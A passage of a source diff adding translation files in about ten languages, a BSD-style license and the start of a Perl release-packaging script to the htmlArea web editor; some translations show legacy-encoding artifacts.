+ "Path": "Kelias",
+ "TEXT_MODE": "Jūs esete teksto režime. Naudokite [<>] mygtuką grįžimui į WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "lv", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+// Translated by: Janis Klavins, <janis.klavins@devia.lv>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "lv",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Trekniem burtiem",\r\r
+ italic: "Kursîvâ",\r\r
+ underline: "Pasvîtrots",\r\r
+ strikethrough: "Pârsvîtrots",\r\r
+ subscript: "Novietot zem rindas",\r\r
+ superscript: "Novietot virs rindas",\r\r
+ justifyleft: "Izlîdzinât pa kreisi",\r\r
+ justifycenter: "Izlîdzinât centrâ",\r\r
+ justifyright: "Izlîdzinât pa labi",\r\r
+ justifyfull: "Izlîdzinât pa visu lapu",\r\r
+ orderedlist: "Numurçts saraksts",\r\r
+ unorderedlist: "Saraksts",\r\r
+ outdent: "Samazinât atkâpi",\r\r
+ indent: "Palielinât atkâpi",\r\r
+ forecolor: "Burtu krâsa",\r\r
+ hilitecolor: "Fona krâsa",\r\r
+ horizontalrule: "Horizontâla atdalîtâjsvîtra",\r\r
+ createlink: "Ievietot hipersaiti",\r\r
+ insertimage: "Ievietot attçlu",\r\r
+ inserttable: "Ievietot tabulu",\r\r
+ htmlmode: "Skatît HTML kodu",\r\r
+ popupeditor: "Palielinât Rediìçtâju",\r\r
+ about: "Par ðo rediìçtâju",\r\r
+ showhelp: "Rediìçtâja palîgs",\r\r
+ textindicator: "Patreizçjais stils",\r\r
+ undo: "Atcelt pçdçjo darbîbu",\r\r
+ redo: "Atkârtot pçdçjo darbîbu",\r\r
+ cut: "Izgriezt iezîmçto",\r\r
+ copy: "Kopçt iezîmçto",\r\r
+ paste: "Ievietot iezîmçto"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "Labi",\r\r
+ "cancel": "Atcelt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Ceïð",\r\r
+ "TEXT_MODE": "Jûs patlaban darbojaties TEKSTA REÞÎMÂ. Lai pârietu atpakaï uz GRAFISKO REÞÎMU (WYSIWIG), lietojiet [<>] pogu."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "nb",
+
+ tooltips: {
+ bold: "Fet",
+ italic: "Kursiv",
+ underline: "Understreket",
+ strikethrough: "Gjennomstreket",
+ subscript: "Senket",
+ superscript: "Hevet",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Midtjuster",
+ justifyright: "Høyrejuster",
+ justifyfull: "Blokkjuster",
+ orderedlist: "Nummerert liste",
+ unorderedlist: "Punktmerket liste",
+ outdent: "Øke innrykk",
+ indent: "Reduser innrykk",
+ forecolor: "Skriftfarge",
+ backcolor: "Bakgrunnsfarge",
+ horizontalrule: "Horisontal linje",
+ createlink: "Sett inn lenke",
+ insertimage: "Sett inn bilde",
+ inserttable: "Sett inn tabell",
+ htmlmode: "Vis HTML kode",
+ popupeditor: "Forstørr redigeringsvindu",
+ about: "Om..",
+ help: "Hjelp",
+ textindicator: "Gjeldende stil"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "nl",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Vet",\r\r
+ italic: "Cursief",\r\r
+ underline: "Onderstrepen",\r\r
+ strikethrough: "Doorhalen",\r\r
+ subscript: "Subscript",\r\r
+ superscript: "Superscript",\r\r
+ justifyleft: "Links uitlijnen",\r\r
+ justifycenter: "Centreren",\r\r
+ justifyright: "Rechts uitlijnen",\r\r
+ justifyfull: "Uitvullen",\r\r
+ orderedlist: "Nummering",\r\r
+ unorderedlist: "Opsommingstekens",\r\r
+ outdent: "Inspringing verkleinen",\r\r
+ indent: "Inspringing vergroten",\r\r
+ forecolor: "Tekstkleur",\r\r
+ hilitecolor: "Achtergrondkleur",\r\r
+ inserthorizontalrule: "Horizontale lijn",\r\r
+ createlink: "Hyperlink invoegen/aanpassen",\r\r
+ insertimage: "Afbeelding invoegen/aanpassen",\r\r
+ inserttable: "Tabel invoegen",\r\r
+ htmlmode: "HTML broncode",\r\r
+ popupeditor: "Vergroot Editor",\r\r
+ about: "Over deze editor",\r\r
+ showhelp: "HTMLArea help",\r\r
+ textindicator: "Huidige stijl",\r\r
+ undo: "Ongedaan maken",\r\r
+ redo: "Herhalen",\r\r
+ cut: "Knippen",\r\r
+ copy: "Kopiëren",\r\r
+ paste: "Plakken",\r\r
+ lefttoright: "Tekstrichting links naar rechts",\r\r
+ righttoleft: "Tekstrichting rechts naar links"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Annuleren"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pad",\r\r
+ "TEXT_MODE": "Je bent in TEKST-mode. Gebruik de [<>] knop om terug te keren naar WYSIWYG-mode.",\r\r
+ \r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Fullscreen-mode veroorzaakt problemen met Internet Explorer door bugs in de webbrowser " +\r\r
+ "die we niet kunnen omzeilen. Hierdoor kunnen de volgende effecten optreden: verknoeide teksten, " +\r\r
+ "een verlies aan editor-functionaliteit en/of willekeurig vastlopen van de webbrowser. " +\r\r
+ "Als u Windows 95 of 98 gebruikt, is het zeer waarschijnlijk dat u een algemene beschermingsfout " +\r\r
+ "('General Protection Fault') krijgt en de computer opnieuw zal moeten opstarten.\n\n" +\r\r
+ "U bent gewaarschuwd. Druk OK als u toch nog de Fullscreen-editor wil gebruiken."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Annuleren",\r\r
+ "Insert/Modify Link" : "Hyperlink invoegen/aanpassen",\r\r
+ "New window (_blank)" : "Nieuw venster (_blank)",\r\r
+ "None (use implicit)" : "Geen",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Ander",\r\r
+ "Same frame (_self)" : "Zelfde frame (_self)",\r\r
+ "Target:" : "Doel:",\r\r
+ "Title (tooltip):" : "Titel (tooltip):",\r\r
+ "Top frame (_top)" : "Bovenste frame (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "Geef de URL in waar de link naar verwijst"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// Norwegian version for htmlArea v3.0 - pre1\r\r
+// - translated by ses<ses@online.no>\r\r
+// Additional translations by Håvard Wigtil <havardw@extend.no>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "no",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understreket",\r\r
+ strikethrough: "Gjennomstreket",\r\r
+ subscript: "Nedsenket",\r\r
+ superscript: "Opphøyet",\r\r
+ justifyleft: "Venstrejuster",\r\r
+ justifycenter: "Midtjuster",\r\r
+ justifyright: "Høyrejuster",\r\r
+ justifyfull: "Blokkjuster",\r\r
+ orderedlist: "Nummerert liste",\r\r
+ unorderedlist: "Punktliste",\r\r
+ outdent: "Reduser innrykk",\r\r
+ indent: "Øke innrykk",\r\r
+ forecolor: "Tekstfarge",\r\r
+ hilitecolor: "Bakgrundsfarge",\r\r
+ inserthorizontalrule: "Vannrett linje",\r\r
+ createlink: "Lag lenke",\r\r
+ insertimage: "Sett inn bilde",\r\r
+ inserttable: "Sett inn tabell",\r\r
+ htmlmode: "Vis kildekode",\r\r
+ popupeditor: "Vis i eget vindu",\r\r
+ about: "Om denne editor",\r\r
+ showhelp: "Hjelp",\r\r
+ textindicator: "Nåværende stil",\r\r
+ undo: "Angrer siste redigering",\r\r
+ redo: "Gjør om siste angring",\r\r
+ cut: "Klipp ut område",\r\r
+ copy: "Kopier område",\r\r
+ paste: "Lim inn",\r\r
+ lefttoright: "Fra venstre mot høyre",\r\r
+ righttoleft: "Fra høyre mot venstre"\r\r
+ },\r\r
+ \r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Avbryt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Tekstvelger",\r\r
+ "TEXT_MODE": "Du er i tekstmodus Klikk på [<>] for å gå tilbake til WYSIWIG.",\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Visning i eget vindu har kjente problemer med Internet Explorer, " + \r\r
+ "på grunn av problemer med denne nettleseren. Mulige problemer er et uryddig " + \r\r
+ "skjermbilde, manglende editorfunksjoner og/eller at nettleseren crasher. Hvis du bruker Windows 95 eller Windows 98 " +\r\r
+ "er det også muligheter for at Windows will crashe.\n\n" +\r\r
+ "Trykk 'OK' hvis du vil bruke visning i eget vindu på tross av denne advarselen."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Avbryt",\r\r
+ "Insert/Modify Link" : "Rediger lenke",\r\r
+ "New window (_blank)" : "Eget vindu (_blank)",\r\r
+ "None (use implicit)" : "Ingen (bruk standardinnstilling)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Annen",\r\r
+ "Same frame (_self)" : "Samme ramme (_self)",\r\r
+ "Target:" : "Mål:",\r\r
+ "Title (tooltip):" : "Tittel (tooltip):",\r\r
+ "Top frame (_top)" : "Toppramme (_top)",\r\r
+ "URL:" : "Adresse:",\r\r
+ "You must enter the URL where this link points to" : "Du må skrive inn en adresse som denne lenken skal peke til"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pl",\r
+\r
+ tooltips: {\r\r
+ bold: "Pogrubienie",\r\r
+ italic: "Pochylenie",\r\r
+ underline: "Podkre\9clenie",\r\r
+ strikethrough: "Przekre\9clenie",\r\r
+ subscript: "Indeks dolny",\r\r
+ superscript: "Indeks górny",\r\r
+ justifyleft: "Wyrównaj do lewej",\r\r
+ justifycenter: "Wy\9crodkuj",\r\r
+ justifyright: "Wyrównaj do prawej",\r\r
+ justifyfull: "Wyjustuj",\r\r
+ orderedlist: "Numerowanie",\r\r
+ unorderedlist: "Wypunktowanie",\r\r
+ outdent: "Zmniejsz wciêcie",\r\r
+ indent: "Zwiêksz wciêcie",\r\r
+ forecolor: "Kolor czcionki",\r\r
+ backcolor: "Kolor t³a",\r\r
+ horizontalrule: "Linia pozioma",\r\r
+ createlink: "Wstaw adres sieci Web",\r\r
+ insertimage: "Wstaw obraz",\r\r
+ inserttable: "Wstaw tabelê",\r\r
+ htmlmode: "Edycja WYSIWYG/w \9fródle strony",\r\r
+ popupeditor: "Pe³ny ekran",\r\r
+ about: "Informacje o tym edytorze",\r\r
+ help: "Pomoc",\r\r
+ textindicator: "Obecny styl"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+// Brazilian Portuguese Translation by Alex Piaz <webmaster@globalmap.com>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pt_br",\r
+\r
+ tooltips: {\r\r
+ bold: "Negrito",\r\r
+ italic: "Itálico",\r\r
+ underline: "Sublinhado",\r\r
+ strikethrough: "Tachado",\r\r
+ subscript: "Subescrito",\r\r
+ superscript: "Sobrescrito",\r\r
+ justifyleft: "Alinhar à Esquerda",\r\r
+ justifycenter: "Centralizar",\r\r
+ justifyright: "Alinhar à Direita",\r\r
+ justifyfull: "Justificar",\r\r
+ orderedlist: "Lista Numerada",\r\r
+ unorderedlist: "Lista Marcadores",\r\r
+ outdent: "Diminuir Indentação",\r\r
+ indent: "Aumentar Indentação",\r\r
+ forecolor: "Cor da Fonte",\r\r
+ backcolor: "Cor do Fundo",\r\r
+ horizontalrule: "Linha Horizontal",\r\r
+ createlink: "Inserir Link",\r\r
+ insertimage: "Inserir Imagem",\r\r
+ inserttable: "Inserir Tabela",\r\r
+ htmlmode: "Ver Código-Fonte",\r\r
+ popupeditor: "Expandir Editor",\r\r
+ about: "Sobre",\r\r
+ help: "Ajuda",\r\r
+ textindicator: "Estilo Atual"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ro",
+
+ tooltips: {
+ bold: "Îngroşat",
+ italic: "Italic",
+ underline: "Subliniat",
+ strikethrough: "Tăiat",
+ subscript: "Indice jos",
+ superscript: "Indice sus",
+ justifyleft: "Aliniere la stânga",
+ justifycenter: "Aliniere pe centru",
+ justifyright: "Aliniere la dreapta",
+ justifyfull: "Aliniere în ambele părţi",
+ orderedlist: "Listă ordonată",
+ unorderedlist: "Listă marcată",
+ outdent: "Micşorează alineatul",
+ indent: "Măreşte alineatul",
+ forecolor: "Culoarea textului",
+ hilitecolor: "Culoare de fundal",
+ horizontalrule: "Linie orizontală",
+ createlink: "Inserează/modifică link",
+ insertimage: "Inserează/modifică imagine",
+ inserttable: "Inserează un tabel",
+ htmlmode: "Sursa HTML / WYSIWYG",
+ popupeditor: "Maximizează editorul",
+ about: "Despre editor",
+ showhelp: "Documentaţie (devel)",
+ textindicator: "Stilul curent",
+ undo: "Anulează ultima acţiune",
+ redo: "Reface ultima acţiune anulată",
+ cut: "Taie în clipboard",
+ copy: "Copie în clipboard",
+ paste: "Aduce din clipboard",
+ lefttoright: "Direcţia de scriere: stânga - dreapta",
+ righttoleft: "Direcţia de scriere: dreapta - stânga"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Anulează"
+ },
+
+ msg: {
+ "Path": "Calea",
+ "TEXT_MODE": "Eşti în modul TEXT. Apasă butonul [<>] pentru a te întoarce în modul WYSIWYG."
+ },
+
+ dialogs: {
+ "Cancel" : "Renunţă",
+ "Insert/Modify Link" : "Inserează/modifcă link",
+ "New window (_blank)" : "Fereastră nouă (_blank)",
+ "None (use implicit)" : "Nimic (foloseşte ce-i implicit)",
+ "OK" : "Acceptă",
+ "Other" : "Alt target",
+ "Same frame (_self)" : "Aceeaşi fereastră (_self)",
+ "Target:" : "Ţinta:",
+ "Title (tooltip):" : "Titlul (tooltip):",
+ "Top frame (_top)" : "Fereastra principală (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Trebuie să introduceţi un URL"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "ru", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Yulya Shtyryakova, <yulya@vdcom.ru>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "ru",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Полужирный",\r\r
+ italic: "Наклонный",\r\r
+ underline: "Подчеркнутый",\r\r
+ strikethrough: "Перечеркнутый",\r\r
+ subscript: "Нижний индекс",\r\r
+ superscript: "Верхний индекс",\r\r
+ justifyleft: "По левому краю",\r\r
+ justifycenter: "По центру",\r\r
+ justifyright: "По правому краю",\r\r
+ justifyfull: "По ширине",\r\r
+ orderedlist: "Нумерованный лист",\r\r
+ unorderedlist: "Маркированный лист",\r\r
+ outdent: "Уменьшить отступ",\r\r
+ indent: "Увеличить отступ",\r\r
+ forecolor: "Цвет шрифта",\r\r
+ hilitecolor: "Цвет фона",\r\r
+ horizontalrule: "Горизонтальный разделитель",\r\r
+ createlink: "Вставить гиперссылку",\r\r
+ insertimage: "Вставить изображение",\r\r
+ inserttable: "Вставить таблицу",\r\r
+ htmlmode: "Показать Html-код",\r\r
+ popupeditor: "Увеличить редактор",\r\r
+ about: "О редакторе",\r\r
+ showhelp: "Помощь",\r\r
+ textindicator: "Текущий стиль",\r\r
+ undo: "Отменить",\r\r
+ redo: "Повторить",\r\r
+ cut: "Вырезать",\r\r
+ copy: "Копировать",\r\r
+ paste: "Вставить"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Отмена"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Путь",\r\r
+ "TEXT_MODE": "Вы в режиме отображения Html-кода. нажмите кнопку [<>], чтобы переключиться в визуальный режим."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// Swedish version for htmlArea v3.0 - Alpha Release\r\r
+// - translated by pat<pat@engvall.nu>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "se",\r
+\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understruken",\r\r
+ strikethrough: "Genomstruken",\r\r
+ subscript: "Nedsänkt",\r\r
+ superscript: "Upphöjd",\r\r
+ justifyleft: "Vänsterjustera",\r\r
+ justifycenter: "Centrera",\r\r
+ justifyright: "Högerjustera",\r\r
+ justifyfull: "Marginaljustera",\r\r
+ orderedlist: "Numrerad lista",\r\r
+ unorderedlist: "Punktlista",\r\r
+ outdent: "Minska indrag",\r\r
+ indent: "Öka indrag",\r\r
+ forecolor: "Textfärg",\r\r
+ backcolor: "Bakgrundsfärg",\r\r
+ horizontalrule: "Vågrät linje",\r\r
+ createlink: "Infoga länk",\r\r
+ insertimage: "Infoga bild",\r\r
+ inserttable: "Infoga tabell",\r\r
+ htmlmode: "Visa källkod",\r\r
+ popupeditor: "Visa i eget fönster",\r\r
+ about: "Om denna editor",\r\r
+ help: "Hjälp",\r\r
+ textindicator: "Nuvarande stil"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "si", ENCODING: ISO-8859-2\r\r
+// Author: Tomaz Kregar, x_tomo_x@email.si\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "si",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Krepko",\r\r
+ italic: "Le¾eèe",\r\r
+ underline: "Podèrtano",\r\r
+ strikethrough: "Preèrtano",\r\r
+ subscript: "Podpisano",\r\r
+ superscript: "Nadpisano",\r\r
+ justifyleft: "Poravnaj levo",\r\r
+ justifycenter: "Na sredino",\r\r
+ justifyright: "Poravnaj desno",\r\r
+ justifyfull: "Porazdeli vsebino",\r\r
+ orderedlist: "O¹tevilèevanje",\r\r
+ unorderedlist: "Oznaèevanje",\r\r
+ outdent: "Zmanj¹aj zamik",\r\r
+ indent: "Poveèaj zamik",\r\r
+ forecolor: "Barva pisave",\r\r
+ hilitecolor: "Barva ozadja",\r\r
+ horizontalrule: "Vodoravna èrta",\r\r
+ createlink: "Vstavi hiperpovezavo",\r\r
+ insertimage: "Vstavi sliko",\r\r
+ inserttable: "Vstavi tabelo",\r\r
+ htmlmode: "Preklopi na HTML kodo",\r\r
+ popupeditor: "Poveèaj urejevalnik",\r\r
+ about: "Vizitka za urejevalnik",\r\r
+ showhelp: "Pomoè za urejevalnik",\r\r
+ textindicator: "Trenutni slog",\r\r
+ undo: "Razveljavi zadnjo akcijo",\r\r
+ redo: "Uveljavi zadnjo akcijo",\r\r
+ cut: "Izre¾i",\r\r
+ copy: "Kopiraj",\r\r
+ paste: "Prilepi"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "V redu",\r\r
+ "cancel": "Preklièi"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pot",\r\r
+ "TEXT_MODE": "Si v tekstovnem naèinu. Uporabi [<>] gumb za prklop nazaj na WYSIWYG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants : Vietnamese
+// LANG: "en", ENCODING: UTF-8
+// Author: Nguyễn Đình Nam, <hncryptologist@yahoo.com>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "vn",
+
+ tooltips: {
+ bold: "Đậm",
+ italic: "Nghiêng",
+ underline: "Gạch Chân",
+ strikethrough: "Gạch Xóa",
+ subscript: "Viết Xuống Dưới",
+ superscript: "Viết Lên Trên",
+ justifyleft: "Căn Trái",
+ justifycenter: "Căn Giữa",
+ justifyright: "Căn Phải",
+ justifyfull: "Căn Đều",
+ orderedlist: "Danh Sách Có Thứ Tự",
+ unorderedlist: "Danh Sách Phi Thứ Tự",
+ outdent: "Lùi Ra Ngoài",
+ indent: "Thụt Vào Trong",
+ forecolor: "Màu Chữ",
+ backcolor: "Màu Nền",
+ horizontalrule: "Dòng Kẻ Ngang",
+ createlink: "Tạo Liên Kết",
+ insertimage: "Chèn Ảnh",
+ inserttable: "Chèn Bảng",
+ htmlmode: "Chế Độ Mã HTML",
+ popupeditor: "Phóng To Ô Soạn Thảo",
+ about: "Tự Giới Thiệu",
+ showhelp: "Giúp Đỡ",
+ textindicator: "Định Dạng Hiện Thời",
+ undo: "Undo",
+ redo: "Redo",
+ cut: "Cắt",
+ copy: "Copy",
+ paste: "Dán"
+ },
+ buttons: {
+ "ok": "OK",
+ "cancel": "Hủy"
+ },
+ msg: {
+ "Path": "Đường Dẫn",
+ "TEXT_MODE": "Bạn đang ở chế độ text. Sử dụng nút [<>] để chuyển lại chế độ WYSIWIG."
+ }
+};
--- /dev/null
+htmlArea License (based on BSD license)\r\r
+Copyright (c) 2002-2004, interactivetools.com, inc.\r\r
+Copyright (c) 2003-2004 dynarch.com\r\r
+All rights reserved.\r\r
+\r\r
+Redistribution and use in source and binary forms, with or without\r\r
+modification, are permitted provided that the following conditions are met:\r\r
+\r\r
+1) Redistributions of source code must retain the above copyright notice,\r\r
+ this list of conditions and the following disclaimer.\r\r
+\r\r
+2) Redistributions in binary form must reproduce the above copyright notice,\r\r
+ this list of conditions and the following disclaimer in the documentation\r\r
+ and/or other materials provided with the distribution.\r\r
+\r\r
+3) Neither the name of interactivetools.com, inc. nor the names of its\r\r
+ contributors may be used to endorse or promote products derived from this\r\r
+ software without specific prior written permission.\r\r
+\r\r
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\r\r
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\r
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\r
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\r\r
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\r
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\r
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\r
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\r
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\r
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\r
+POSSIBILITY OF SUCH DAMAGE.\r\r
--- /dev/null
+#! /usr/bin/perl -w
+# $Id: make-release.pl,v 1.1.1.1 2006/05/01 16:46:13 cscott Exp $
+
+# Script for creating a distribution archive. Based on make-release.pl from
+# jscalendar.
+
+# Author: Mihai Bazon, http://dynarch.com/mishoo
+# NO WARRANTIES WHATSOEVER. READ GNU LGPL.
+
+# This file requires HTML::Mason; this module is used for automatic
+# substitution of the version/release number as well as for selection of the
+# changelog (at least in the file release-notes.html). It might not work
+# without HTML::Mason.
+
+use strict;
+# use diagnostics;
+use HTML::Mason;
+use File::Find;
+use XML::Parser;
+use Data::Dumper;
+
+my $verbosity = 1;
+
+my $tmpdir = '/tmp';
+
+my $config = parseXML("project-config.xml");
+speak(3, Data::Dumper::Dumper($config));
+
+my ($project, $version, $release, $basename);
+
+$project = $config->{project}{ATTR}{title};
+$version = $config->{project}{version}{DATA};
+$release = $config->{project}{release}{DATA};
+$basename = "$project-$version";
+$basename .= "-$release" if ($release);
+
+speak(1, "Project: $basename");
+
+## create directory tree
+my ($basedir);
+{
+ # base directory
+ $basedir = "$tmpdir/$basename";
+ if (-d $basedir) {
+ speak(-1, "$basedir already exists, removing... >:-]\n");
+ system "rm -rf $basedir";
+ }
+}
+
+process_directory();
+
+## make the ZIP file
+chdir "$basedir/..";
+speak(1, "Making ZIP file /tmp/$basename.zip");
+system ("zip -r $basename.zip $basename > /dev/null");
+system ("ls -la /tmp/$basename.zip");
+
+## remove the basedir
+system("rm -rf $basedir");
+
+## back
+#chdir $cwd;
+
+
+
+### SUBROUTINES
+
+# handle _one_ file
+sub process_one_file {
+ my ($attr, $target) = @_;
+
+ $target =~ s/\/$//;
+ $target .= '/';
+ my $destination = $target.$attr->{REALNAME};
+
+ # copy file first
+ speak(1, " copying $attr->{REALNAME}");
+ system "cp $attr->{REALNAME} $destination";
+
+ my $masonize = $attr->{masonize} || '';
+ if ($masonize =~ /yes|on|1/i) {
+ speak(1, " > masonizing to $destination...");
+ my $args = $attr->{args} || '';
+ my @vars = split(/\s*,\s*/, $args);
+ my %args = ();
+ foreach my $i (@vars) {
+ $args{$i} = eval '$'.$i;
+ speak(1, " > argument: $i => $args{$i}");
+ }
+ my $outbuf;
+ my $interp = HTML::Mason::Interp->new ( comp_root => $target,
+ out_method => \$outbuf );
+ $interp->exec("/$attr->{REALNAME}", %args);
+ open (FILE, "> $destination");
+ print FILE $outbuf;
+ close (FILE);
+ }
+}
+
+# handle some files
+sub process_files {
+ my ($files, $target) = @_;
+
+ # proceed with the explicitely required files first
+ my %options = ();
+ foreach my $i (@{$files}) {
+ $options{$i->{ATTR}{name}} = $i->{ATTR};
+ }
+
+ foreach my $i (@{$files}) {
+ my @expanded = glob "$i->{ATTR}{name}";
+ foreach my $file (@expanded) {
+ $i->{ATTR}{REALNAME} = $file;
+ if (defined $options{$file}) {
+ unless (defined $options{$file}->{PROCESSED}) {
+ speak(1, "EXPLICIT FILE: $file");
+ $options{$file}->{REALNAME} = $file;
+ process_one_file($options{$file}, $target);
+ $options{$file}->{PROCESSED} = 1;
+ }
+ } else {
+ speak(2, "GLOB: $file");
+ process_one_file($i->{ATTR}, $target);
+ $options{$file} = 2;
+ }
+ }
+ }
+}
+
+# handle _one_ directory
+sub process_directory {
+ my ($dir, $path) = @_;
+ my $cwd = '..'; # ;-)
+
+ (defined $dir) || ($dir = '.');
+ (defined $path) || ($path = '');
+ speak(2, "DIR: $path$dir");
+ $dir =~ s/\/$//;
+ $dir .= '/';
+
+ unless (-d $dir) {
+ speak(-1, "DIRECTORY '$dir' NOT FOUND, SKIPPING");
+ return 0;
+ }
+
+ # go where we have stuff to do
+ chdir $dir;
+
+ my $target = $basedir;
+ ($path =~ /\S/) && ($target .= "/$path");
+ ($dir ne './') && ($target .= $dir);
+
+ speak(1, "*** Creating directory: $target");
+ mkdir $target;
+
+ unless (-f 'makefile.xml') {
+ speak(-1, "No makefile.xml in this directory");
+ chdir $cwd;
+ return 0;
+ }
+ my $config = parseXML("makefile.xml");
+ speak(3, Data::Dumper::Dumper($config));
+
+ my $tmp = $config->{files}{file};
+ if (defined $tmp) {
+ my $files;
+ if (ref($tmp) eq 'ARRAY') {
+ $files = $tmp;
